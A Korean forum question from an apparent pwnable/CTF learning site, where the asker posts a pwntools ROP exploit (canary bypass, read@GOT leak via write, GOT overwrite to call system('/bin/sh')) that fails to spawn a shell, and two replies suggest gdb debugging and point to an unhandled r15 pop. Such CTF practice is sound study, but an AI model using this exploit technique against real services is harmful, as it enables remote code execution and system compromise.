Exploit 코드 질
payload = b'A'*0x38 + p64(cnry) + b'B'*0x8

# write(1, read_got, ...) 
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(ret)
payload += p64(write_plt)


# read(0, read_got, ...) read_got 입력
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got)
payload += p64(read_plt)

# read("/bin/sh") == system("/bin/sh")
payload += p64(pop_rdi)
payload += p64(read_got + 0x8)
payload += p64(ret)
payload += p64(read_plt)
print(4)
p.sendafter(b'Buf: ', payload)

read = u64(p.recvn(6) + b'\x00'*2)

lb = read - libc.symbols['read']
system = lb + libc.symbols['system']
slog('read', read)
slog('libc_base', lb)
slog('system', system)

p.send(p64(system) + b'/bin/sh\x00')

쉘 획득을 못합니다.
libc의 경우, 공격코드의 이전에 got를 출력해서 libc-database에서 다운로드 받아서, e = ELF('file')을 해서 문제가 없다고 생각 중이고요

write 진행 시, 0x10 정렬로 인해서 p.sendafter 실행이 안되길래, p64(ret)를 하나 추가했더니 진행되었습니다.
뒤에 코드에서도
0x10 정렬 문제인가 싶어서, 2번의 read의 경우의 수를 가지고 p64(ret)을 추가하고 삭제해도 안되네요. 다른 원인이 있을까요?

#pwnable
작성자 정보
답변 2
fr0m1s9
대표 업적 없음

gdb로 attach해서 flow가 어떻게 되는지 파악을 해보시는걸 추천드려요. 레지스터에 어떤 값이 들어가고 원하는 함수가 잘 호출이 되었는지 안되면 어떤 값이 들어가서 어떤 함수가 호출되었는지 등등 파악을 해보는게 좋을 듯 합니다.

2024.02.22. 19:08
avatar
keyme
CTF Second Place

r15 레지스터에 대한 처리가 없네요.

2024.02.22. 21:05
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기